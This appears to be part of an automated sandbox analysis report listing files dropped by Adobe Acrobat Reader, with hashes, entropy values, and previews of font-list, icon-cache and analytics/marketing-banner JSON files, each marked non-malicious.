C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7716

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	243196
Entropy (8bit):	3.3450692389394283
Encrypted:	false
SSDEEP:	1536:vKPCPiyzDtrh1cK3XEivK7VK/3AYvYwgqErRo+RQn:yPClJ/3AYvYwghFo+RQn
MD5:	F5567C4FF4AB049B696D3BE0DD72A793
SHA1:	EBEADDE9FF0AF2C201A5F7CC747C9EA61CFA6916
SHA-256:	D8DBFE71873929825A420F73821F3FF0254D51984FAAA82E1B89D31188F77C04
SHA-512:	E769735991E5B1331E259608854D00CDA4F3E92285FDC500158CBD09CBCCEAD8A387F78256A43919B13EBE70C995D19242377C315B0CCBBD4F813251608C1D56
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.373147733255641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJM3g98kUwPeUkwRe9:YvXKXpFb6Zc0vEIGMbLUkee9
MD5:	A2003A09B2F1F93E357FFBF3F14C0D1F
SHA1:	196018AB880EB4B887156712DFDA4376D3558587
SHA-256:	BA01CB90DACCBF65775CCCD31B28A55348F832F93A0BBA8C34F1CC1F989437E2
SHA-512:	5CC76FC7090BF4777E4E8B2CC19CB2648B933633D12AB3014C73AE5FEA1398D184CC16DDCACB8B2CC1DFC62F9BF774C5F7D7F3C8207E2E0854CFFDCAA3001105
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325179091758748
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJfBoTfXpnrPeUkwRe9:YvXKXpFb6Zc0vEIGWTfXcUkee9
MD5:	41467AC10739CFB70E669234336A5114
SHA1:	22D86495ED91A87D7DA568A51E95EF26B21A87E8
SHA-256:	F6ED23326E2190813342D70ABA7F3175FE16D1F9CF090CD3838FAFFE7F77D4F8
SHA-512:	0D1AA033B3A7086AB3FCB40043C735BEE9182448E0C8BBB9C41CF0618704A59FC5BCCB76BA9D59BFA17055DD07D051B9D88F0C5B083C48AD3C2C4E65FCF452B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303131691758107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJfBD2G6UpnrPeUkwRe9:YvXKXpFb6Zc0vEIGR22cUkee9
MD5:	A12236FC922A768FFB44A1286B0DD24A
SHA1:	D8CC9A060E6FB3FF9A392A22D2B3DEA1D6192A52
SHA-256:	2D426204AC0033AF84AAC8E96652421BE6DB80C67E5A962023913353C0CBAB31
SHA-512:	8E439C0C625CB5E25C146EEE052BE9E0196A6B36CAA24408532202F22C05E006EAFF68CB5F0D9E125AD403D58DE65EA9369E48CA453668DC2E8B5367DDD6175C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.360501549869694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJfPmwrPeUkwRe9:YvXKXpFb6Zc0vEIGH56Ukee9
MD5:	5CB857A1AD89E3068C4D701EAC9E75D1
SHA1:	72E51A2BD71EA46F7843544942B6415ADC672597
SHA-256:	AA4E6F7CFF6681D8227F411618E1406D08C07F6D3F73730944D8E19CEC11001F
SHA-512:	3A53150B7FA438BBC384F6509A1C94D7158B128761FCFFA4D805079120A8BBA15E951B043B0472774201F212928E5B5B83A1F9762F4E4603C30B7B4A0A5834F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692103399291637
Encrypted:	false
SSDEEP:	24:Yv6Xpd6zvQpLgE9cQx8LennAvzBvkn0RCmK8czOCCSg:YvEyohgy6SAFv5Ah8cv/g
MD5:	A7AE83010E23BB19E0309A33C726D3A3
SHA1:	24745B9767C7793C8F0BCFF8666107AB848880EA
SHA-256:	B5C0A2D3564C03902B17AFD8ADF444137A46DB9B45AC8F5D6C7BF473957E06ED
SHA-512:	28EB12BD55830656D114594A44F2E8521C8A20DB6D6ABA57C9D944E98DEA920989E159FE7EB7F0BB2304163634D11E2E96822C1D01D53A3DF7AF085885883737
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	5.685479788462415
Encrypted:	false
SSDEEP:	24:Yv6Xpd6zvCVLgEwcp06ybnAvz7xHn0RCmK8czOCYHfl8zdBd:YvEy6FgSNycJUAh8cvYH6
MD5:	622BE0F2A2EEDD4B2DD009FFC41F8109
SHA1:	D13B1925CC1F8EF3D43EC144BC50A3EE29DA2C24
SHA-256:	9D652A546C31CEE0918A599A480A2151F8306D6C305566294F1DA49681EA66D2
SHA-512:	4CFFD1DD471BF9B131CA84A3075A17C6DB324B1C937549A648EF5BE345E24BC8FDB81875A8383EAA17720DF439F12DE77AF9E100417267BB1DD0D962873D3E9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_0","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"1aad653c-ef44-43f7-be1c-3a2ba2cf2cfc","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuIFBERiBmb3JtcyAmIGFncmVlbWVudHMuIn0sInRjY

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.315219763043901
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJfQ1rPeUkwRe9:YvXKXpFb6Zc0vEIGY16Ukee9
MD5:	85CBE29E94E4226B3E8D82A501132202
SHA1:	E268C09081345F81F016EEAD92D74120CE575140
SHA-256:	F7B7F6DF7F479644C6C5FED0D455AE09F18803418CF2F057F38C5C77B23A6F6F
SHA-512:	B8224C74897FA8F0893AB1DA18D71994597770434367529796761F49A7741EE0F54745F57704DB770F8F7464A407AF7DCB354FF31137AB8DD84C515AF6A03284
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.677032441820504
Encrypted:	false
SSDEEP:	24:Yv6Xpd6zvv2LgErcXWl7y0nAvzIBcSJCBViVd:YvEynogH47yfkB5kVg
MD5:	61A51C159F4D2FF91992DF9E1058EEBC
SHA1:	34CC10B93FA024D6D075E523BFD85F1CC82A012B
SHA-256:	3C5D1EDD47D8130985F1BD1719583A2D2AD6C94C2CF762FC62E172C3DE5455C1
SHA-512:	0E2D675861BEA6B0C4A810C729ECB37684369A9A41206CA5A6913DE4E30A2DD896480215457112D5A5CCC31BB0266EDF0B85AB6E7A5EEBD52BD764B926F4A2D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_1","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"533ab5eb-b236-4889-89a5-ac002261d71e","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkVkaXRQREZSZHJBcHBGdWxsIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTRweCIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTJweCIsImZvbnRfc3R5bGUiOiItMSJ9LCJ0aXRsZSI6bnVsbCwiZGVzY3JpcHRpb24iOiJFZGl0IHRleHQsIGltYWdlcywgcGFnZXMsIGFuZCBtb3JlLiJ9LCJ0Y2F0SWQiOm51bGx9","da

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.700453163598917
Encrypted:	false
SSDEEP:	24:Yv6Xpd6zvDKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5d:YvEyLEgqprtrS5OZjSlwTmAfSKf
MD5:	A7F1F1939AF6F5AC68EE75BB71134BCC
SHA1:	3EBC9A9109D061FE9633CF0EEF396C74C70517CC
SHA-256:	8D8977DAC2D93AFF90489C225A4C03B74C913B51DDB81FCDBAD9176F5D150F97
SHA-512:	1F52440A671AAC6A19B2E2A5528D9CC95F026751B381DD88BD2F1F76F007D0F4D7EBEF43667AB91135F4E1DB7F4128B9F633F873F80C0D03E1DF5C5D3A3C5099
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317433489811804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJfYdPeUkwRe9:YvXKXpFb6Zc0vEIGg8Ukee9
MD5:	3147F930117248992D9BE4EC4D535480
SHA1:	643D52802FE1FFCCE0088B1DA77AF2A35E40BF97
SHA-256:	24EAD61C542EAEBA6DD6246EF883B057651386E65BF7FDF7A3948A9E67CA230E
SHA-512:	CAD52735E0116B411E01AC4C2FB683AB8DA802DB716AFEEFB85C3E56CA57679C0D39886FA91B3D142272344F30443964B2B70B02BD9E1C3898CEEC3F8FC1A84E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.303473088739168
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJf+dPeUkwRe9:YvXKXpFb6Zc0vEIG28Ukee9
MD5:	D3A9A17737F7DAF1BC6022915975692B
SHA1:	8CA32CCCA8E4AADE70AD574E9C76CC195F0CA384
SHA-256:	128735693D046DE562F0C010B774F9B40BEBCD1245F2A3B953E2F8414C88446B
SHA-512:	503EC470D0F4DC5059FE6934C1E8A839A3AABB24C4F294724D55FCD125837DCB1D8644D270813A098552D4F305C65AA5D5A59AF33AC71DED3B5F5ACF28AA230F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.300860769686274
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJfbPtdPeUkwRe9:YvXKXpFb6Zc0vEIGDV8Ukee9
MD5:	B9680420A7C289EBCFAF1393CE6BAFE2
SHA1:	619DB9911E8F955C22DFA3579694C29F96BD330C
SHA-256:	A89BB0870642CE2F4712E1246EAD9BD51BDF23B8F93A6EAE2EC2DAD37DDCC042
SHA-512:	7FCA86B911FDA412C2CCD810E079E99D41188708D0B3AF8C4424FB5D08B81F8AD71A6574D55A5669AF496EB5E731CD3DB07BD23DB35FA8447CBC664FCB448984
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.306049393442707
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJf21rPeUkwRe9:YvXKXpFb6Zc0vEIG+16Ukee9
MD5:	F28FF6DEBBEE9C178B39F09AE3ACBE5C
SHA1:	02BDB60C95A0B5A10BE947752C0095CD3CC029A4
SHA-256:	4AFB19E7FE19BE104D5E087E3EA5936776AC4A9FFA2884A29ECB41DB3316ED93
SHA-512:	1159B3746D624D2FF41215D82628DC17FF27239353B198FED0A2EB5E8182A796EFCBE82175D99C94C2C8DC227625B7D20A7B17267EFCFCD08AB1F48C5D5E677F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666674779713704
Encrypted:	false
SSDEEP:	24:Yv6Xpd6zvUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSg:YvEy6BgkDMUJUAh8cvMg
MD5:	5D78F36DBE120F0EA83B0479A2F391E2
SHA1:	69615B82A7A2DD4EE2FDF06083BF83CC5FCF8464
SHA-256:	AEBC9FF593140DBBFAC7126D92EC82B42E8A793ABAEA9E69DC49A1CA9B9F6C0E
SHA-512:	F4E0B0865D5683973592B472C683553B927DBA8213038927EFFC2565EA613F9E09229E9157E4D7F45B6276887AD206F01CC36D4E2500803262EEBA5EDE7EBC06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.283134161776038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJfshHHrPeUkwRe9:YvXKXpFb6Zc0vEIGUUUkee9
MD5:	FF5972DCC3CD80A5BCADBB8A23BBC808
SHA1:	3C907344B690E365CF637D47A1AD5E56F9C2B0CC
SHA-256:	E157C462BCC6C124BEE96FB151BA9E56761433C3F6350209BEE4376D0E54FAE2
SHA-512:	DE8358F5C8128F120209E0648A19A100A6F8FA15998250193572BC179AC94AC4D32573D14074B9CE2FDB3F8477AF7107C5D42E8BF25B9304D3D695072907C5F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284117918439213
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpFD3DVoZcg1vRcR0Y/HoAvJTqgFCrPeUkwRe9:YvXKXpFb6Zc0vEIGTq16Ukee9
MD5:	2569426988C0CA3EECB8BE382EDD3046
SHA1:	BC4580C8EAC9FF5F05D4333ED18B4DE10F8860B6
SHA-256:	4CFF30AD64A0F1113731FA950505CC086B468DBCA37264B621053F734D8F970B
SHA-512:	551224C99A5D35949D834B11A4819B01A27F7344D19C2E574866AC5054B6FCF9BDD50E5E0ACAA702EF819C9A55DAB43B1AF1F53E68521ED34C850E6A68E10B11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9127b012-01fb-46a6-8c1a-a5727734c392","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1733423801321,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
